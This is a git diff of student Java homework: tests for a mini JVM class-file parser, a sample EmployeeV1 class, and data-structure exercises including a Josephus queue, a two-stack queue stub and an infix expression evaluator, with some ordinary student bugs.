+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
+}
diff --git a/group24/Homework/8-EighthWeek/test/EmployeeV1.java b/group24/Homework/8-EighthWeek/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/util/Util.java b/group24/Homework/8-EighthWeek/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group27/383117348/.classpath b/group27/383117348/.classpath
index a96bb3c428..58f336f5a2 100644
--- a/group27/383117348/.classpath
+++ b/group27/383117348/.classpath
@@ -1,7 +1,8 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <classpath>
-	<classpathentry kind="src" path="src"/>
+	<classpathentry kind="src" path="data-structure"/>
 	<classpathentry kind="src" path="lib"/>
+	<classpathentry kind="src" path="mini-jvm"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="lib" path="lib/junit.jar"/>
 	<classpathentry kind="lib" path="lib/org.hamcrest.core_1.3.0.v201303031735.jar"/>
diff --git a/group27/383117348/src/com/coderising/download/DownloadThread.java b/group27/383117348/data-structure/com/coderising/download/DownloadThread.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/DownloadThread.java
rename to group27/383117348/data-structure/com/coderising/download/DownloadThread.java
diff --git a/group27/383117348/src/com/coderising/download/FileDownloader.java b/group27/383117348/data-structure/com/coderising/download/FileDownloader.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/FileDownloader.java
rename to group27/383117348/data-structure/com/coderising/download/FileDownloader.java
diff --git a/group27/383117348/src/com/coderising/download/FileDownloaderTest.java b/group27/383117348/data-structure/com/coderising/download/FileDownloaderTest.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/FileDownloaderTest.java
rename to group27/383117348/data-structure/com/coderising/download/FileDownloaderTest.java
diff --git a/group27/383117348/src/com/coderising/download/api/Connection.java b/group27/383117348/data-structure/com/coderising/download/api/Connection.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/api/Connection.java
rename to group27/383117348/data-structure/com/coderising/download/api/Connection.java
diff --git a/group27/383117348/src/com/coderising/download/api/ConnectionException.java b/group27/383117348/data-structure/com/coderising/download/api/ConnectionException.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/api/ConnectionException.java
rename to group27/383117348/data-structure/com/coderising/download/api/ConnectionException.java
diff --git a/group27/383117348/src/com/coderising/download/api/ConnectionManager.java b/group27/383117348/data-structure/com/coderising/download/api/ConnectionManager.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/api/ConnectionManager.java
rename to group27/383117348/data-structure/com/coderising/download/api/ConnectionManager.java
diff --git a/group27/383117348/src/com/coderising/download/api/DownloadListener.java b/group27/383117348/data-structure/com/coderising/download/api/DownloadListener.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/api/DownloadListener.java
rename to group27/383117348/data-structure/com/coderising/download/api/DownloadListener.java
diff --git a/group27/383117348/src/com/coderising/download/impl/ConnectionImpl.java b/group27/383117348/data-structure/com/coderising/download/impl/ConnectionImpl.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/impl/ConnectionImpl.java
rename to group27/383117348/data-structure/com/coderising/download/impl/ConnectionImpl.java
diff --git a/group27/383117348/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group27/383117348/data-structure/com/coderising/download/impl/ConnectionManagerImpl.java
similarity index 100%
rename from group27/383117348/src/com/coderising/download/impl/ConnectionManagerImpl.java
rename to group27/383117348/data-structure/com/coderising/download/impl/ConnectionManagerImpl.java
diff --git a/group27/383117348/src/com/coderising/litestruts/LoginAction.java b/group27/383117348/data-structure/com/coderising/litestruts/LoginAction.java
similarity index 100%
rename from group27/383117348/src/com/coderising/litestruts/LoginAction.java
rename to group27/383117348/data-structure/com/coderising/litestruts/LoginAction.java
diff --git a/group27/383117348/src/com/coderising/litestruts/Struts.java b/group27/383117348/data-structure/com/coderising/litestruts/Struts.java
similarity index 100%
rename from group27/383117348/src/com/coderising/litestruts/Struts.java
rename to group27/383117348/data-structure/com/coderising/litestruts/Struts.java
diff --git a/group27/383117348/src/com/coderising/litestruts/StrutsTest.java b/group27/383117348/data-structure/com/coderising/litestruts/StrutsTest.java
similarity index 100%
rename from group27/383117348/src/com/coderising/litestruts/StrutsTest.java
rename to group27/383117348/data-structure/com/coderising/litestruts/StrutsTest.java
diff --git a/group27/383117348/src/com/coderising/litestruts/View.java b/group27/383117348/data-structure/com/coderising/litestruts/View.java
similarity index 100%
rename from group27/383117348/src/com/coderising/litestruts/View.java
rename to group27/383117348/data-structure/com/coderising/litestruts/View.java
diff --git a/group27/383117348/src/com/coderising/litestruts/struts.xml b/group27/383117348/data-structure/com/coderising/litestruts/struts.xml
similarity index 100%
rename from group27/383117348/src/com/coderising/litestruts/struts.xml
rename to group27/383117348/data-structure/com/coderising/litestruts/struts.xml
diff --git a/group27/383117348/src/com/coding/basic/BinaryTreeNode.java b/group27/383117348/data-structure/com/coding/basic/BinaryTreeNode.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/BinaryTreeNode.java
rename to group27/383117348/data-structure/com/coding/basic/BinaryTreeNode.java
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Iterator.java b/group27/383117348/data-structure/com/coding/basic/Iterator.java
similarity index 100%
rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Iterator.java
rename to group27/383117348/data-structure/com/coding/basic/Iterator.java
diff --git a/group27/383117348/src/com/coding/basic/List.java b/group27/383117348/data-structure/com/coding/basic/List.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/List.java
rename to group27/383117348/data-structure/com/coding/basic/List.java
diff --git a/group27/383117348/src/com/coding/basic/array/ArrayList.java b/group27/383117348/data-structure/com/coding/basic/array/ArrayList.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/array/ArrayList.java
rename to group27/383117348/data-structure/com/coding/basic/array/ArrayList.java
diff --git a/group27/383117348/src/com/coding/basic/array/ArrayUtil.java b/group27/383117348/data-structure/com/coding/basic/array/ArrayUtil.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/array/ArrayUtil.java
rename to group27/383117348/data-structure/com/coding/basic/array/ArrayUtil.java
diff --git a/group27/383117348/src/com/coding/basic/linklist/LRUPageFrame.java b/group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrame.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/linklist/LRUPageFrame.java
rename to group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrame.java
diff --git a/group27/383117348/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrameTest.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/linklist/LRUPageFrameTest.java
rename to group27/383117348/data-structure/com/coding/basic/linklist/LRUPageFrameTest.java
diff --git a/group27/383117348/src/com/coding/basic/linklist/LinkedList.java b/group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/linklist/LinkedList.java
rename to group27/383117348/data-structure/com/coding/basic/linklist/LinkedList.java
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..ff94d5e21a
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,5 @@
+package com.coding.basic.queue;
+
+public class CircleQueue {
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..9ff4187a53
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,42 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 
+ * @author liuxin
+ *
+ */
+public class Josephus {
+
+	public static List<Integer> execute(int n, int m) {
+		if (n < m || n <= 0 || m <= 0) {
+			throw new RuntimeException("传入参数有误,执行失败!");
+		}
+		//保存被杀掉的数
+		List<Integer> ints = new ArrayList<Integer>();
+		//报数
+		int count = 0;
+		while(ints.size()!=n){
+			
+			for(int i=0;i<n;i++){
+				count++;
+				if(count==m){
+					ints.add(i);
+					count = 0;
+				}
+			}
+			
+		}
+		return ints;
+	}
+
+	public static void main(String[] args) {
+		List<Integer> list = execute(7, 2);
+		System.out.println(list);
+	}
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java b/group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..12a3ec45be
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,26 @@
+package com.coding.basic.queue;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group27/383117348/src/com/coding/basic/Queue.java b/group27/383117348/data-structure/com/coding/basic/queue/Queue.java
similarity index 91%
rename from group27/383117348/src/com/coding/basic/Queue.java
rename to group27/383117348/data-structure/com/coding/basic/queue/Queue.java
index 4bd32c067b..11b191bf89 100644
--- a/group27/383117348/src/com/coding/basic/Queue.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/Queue.java
@@ -1,4 +1,4 @@
-package com.coding.basic;
+package com.coding.basic.queue;
 
 import org.junit.Test;
 
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..7a6a11a3e4
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,38 @@
+package com.coding.basic.queue;
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+
+
+    public boolean isEmpty() {
+       return false;
+    }
+
+
+    
+    public int size() {
+       return -1;
+    }
+
+
+
+    public void enQueue(E item) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+
+
+ }
diff --git a/group27/383117348/src/com/coding/basic/stack/Stack.java b/group27/383117348/data-structure/com/coding/basic/stack/Stack.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/stack/Stack.java
rename to group27/383117348/data-structure/com/coding/basic/stack/Stack.java
diff --git a/group27/383117348/src/com/coding/basic/stack/StackUtil.java b/group27/383117348/data-structure/com/coding/basic/stack/StackUtil.java
similarity index 100%
rename from group27/383117348/src/com/coding/basic/stack/StackUtil.java
rename to group27/383117348/data-structure/com/coding/basic/stack/StackUtil.java
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..4406d7d304
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,181 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.StackUtil;
+
+public class InfixExpr {
+	private String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+	/**
+	 * 对expr进行解析计算
+	 * @return
+	 */
+	public float evaluate() {
+		float f = 0.0f;
+		//如果不为空继续解析
+		if (expr != null || expr.length() > 0) {
+			//如果符号不对称,抛出异常
+			if (!StackUtil.isValidPairs(expr)) {
+				try {
+					throw new Exception("格式不正确,解析表达式失败!");
+				} catch (Exception e) {
+					e.printStackTrace();
+				}
+			};
+			//将字符串转化为集合
+			ArrayList<String> list=getStringList(expr);
+			//根据获得的集合转化为后序表达式集合
+			ArrayList<String> postOrder = getPostOrder(list);
+			Stack stack = new Stack();  
+	        for (int i = 0; i < postOrder.size(); i++) {
+	        	//如果为数字,则压入栈
+	            if(Character.isDigit(postOrder.get(i).charAt(0))){  
+	                stack.push(Float.parseFloat(postOrder.get(i)));  
+	            }else{
+	            	//否则,取出栈顶两个元素进行计算.
+	                Float back = (Float)stack.pop();  
+	                Float front = (Float)stack.pop();  
+	                Float res = 0.0f;  
+	                switch (postOrder.get(i).charAt(0)) {  
+	                case '+':  
+	                    res = front + back;  
+	                    break;  
+	                case '-':  
+	                    res = front - back;  
+	                    break;  
+	                case '*':  
+	                    res = front * back;  
+	                    break;  
+	                case '/':  
+	                    res = front / back;  
+	                    break;  
+	                }  
+	                //将结果再压回栈中
+	                stack.push(res);  
+	            }  
+	        }
+	        //最终计算结果出栈;
+	        f = (Float)stack.pop();
+
+		} else {
+			//为空抛出异常
+			try {
+				throw new Exception("表达式内容为空,解析失败!");
+			} catch (Exception e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+		}
+		return f;
+	}
+	/**
+	 * 将字符串转换为集合方法
+	 * @param str
+	 * @return
+	 */
+	private ArrayList<String> getStringList(String str) {
+		ArrayList<String> result = new ArrayList<String>();
+		String num = "";
+		for (int i = 0; i < str.length(); i++) {
+			//如果为数字,叠加到num字符串中
+			if (Character.isDigit(str.charAt(i))) {
+				num = num + str.charAt(i);
+			} else {
+				//如果num不为空,表示数字字符凑够了,加到集合里
+				if (num != "") {
+					result.add(num);
+				}
+				//然后再把非数字字符也加到集合中,清空num字符串
+				result.add(str.charAt(i) + "");
+				num = "";
+			}
+		}
+		//最后判断下,num中还有值没,有的话加到集合里
+		if (num != "") {
+			result.add(num);
+		}
+		//返回结果
+		return result;
+	}
+	
+	/**
+	 * 中序表达式转后序表达式
+	 * @param list
+	 * @return
+	 */
+	private ArrayList<String> getPostOrder(ArrayList<String> list) {
+
+		ArrayList<String> result = new ArrayList<String>();
+		Stack stack = new Stack();
+		for (int i = 0; i < list.size(); i++) {
+			//如果为数字,加到集合里
+			if (Character.isDigit(list.get(i).charAt(0))) {
+				result.add(list.get(i));
+			} else {
+				switch (list.get(i).charAt(0)) {
+				//如果有左括号,先压入操作符栈中
+				case '(':
+					stack.push(list.get(i));
+					break;
+				//ok,等到右括号了
+				case ')':
+					//先看看操作符栈顶是不是左括号头头
+					while (!stack.peek().equals("(")) {
+						//不是左括号头头,就把操作符栈中的操作符弹出来一个,加到集合里,一直弹到见到左括号为止
+						result.add((String) stack.pop());
+					}
+					//最后把左括号也弹出来,这样就只有加减乘除没有括号了
+					stack.pop();
+					break;
+				default:
+					//这里全是处理加减乘除的操作
+					//如果操作符栈不为空,比较下当前操作符和操作符栈顶的操作符优先级大小
+					while (!stack.isEmpty() && compare((String) stack.peek(), list.get(i))) {
+						//如果栈顶操作符优先级大于当前,则栈中的操作符弹出加到集合里
+						result.add((String) stack.pop());
+					}
+					//否则继续压到栈中,或者之前栈中元素已经弹出,再将优先级小的操作符加到操作符栈中.
+					stack.push(list.get(i));
+					break;
+				}
+			}
+		}
+		while (!stack.isEmpty()) {
+			//最后看下操作符栈还有操作符没,有了加到集合末尾
+			result.add((String) stack.pop());
+		}
+		return result;
+	}
+	/**
+	 * 操作符优先级比较算法
+	 * @param peek
+	 * @param cur
+	 * @return
+	 */
+	public static boolean compare(String peek, String cur) {
+		//乘除优先级大于加减
+		//如果操作符栈顶操作符的优先级大于当前操作符的优先级,则返回true
+		if ("*".equals(peek) && ("/".equals(cur) || "*".equals(cur) || "+".equals(cur) || "-".equals(cur))) {
+			return true;
+		} else if ("/".equals(peek) && ("/".equals(cur) || "*".equals(cur) || "+".equals(cur) || "-".equals(cur))) {
+			return true;
+		} else if ("+".equals(peek) && ("+".equals(cur) || "-".equals(cur))) {
+			return true;
+		} else if ("-".equals(peek) && ("+".equals(cur) || "-".equals(cur))) {
+			return true;
+		}
+		//如果当前操作符的优先级大于栈顶的操作符优先级,返回false
+		return false;
+	}
+
+	public static void main(String[] args) {
+		InfixExpr expr = new InfixExpr("3*20+13*5-40/2");
+		float f = expr.evaluate();
+		System.out.println(f);
+	}
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..e2de427e62
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,46 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..2e7243ecb2
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,59 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import org.junit.Assert;
+
+import com.coding.basic.stack.Stack;
+
+
+public class InfixToPostfix {
+
+	public static List<Token> convert(String expr) {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		List<Token> result = getPostOrder(tokens);	
+		
+		return result;
+	}
+
+	/**
+	 * 中序表达式转后序表达式
+	 * 
+	 * @param list
+	 * @return
+	 */
+	private static List<Token> getPostOrder(List<Token> tokens) {
+
+		List<Token> result = new ArrayList<Token>();
+		Stack stack = new Stack();
+		for (int i = 0; i < tokens.size(); i++) {
+			// 如果为数字,加到集合里
+			if (tokens.get(i).isNumber()) {
+				result.add(tokens.get(i));
+			} else {
+				Token token = null;
+				if(!stack.isEmpty()){
+					token = (Token)stack.peek();
+				}
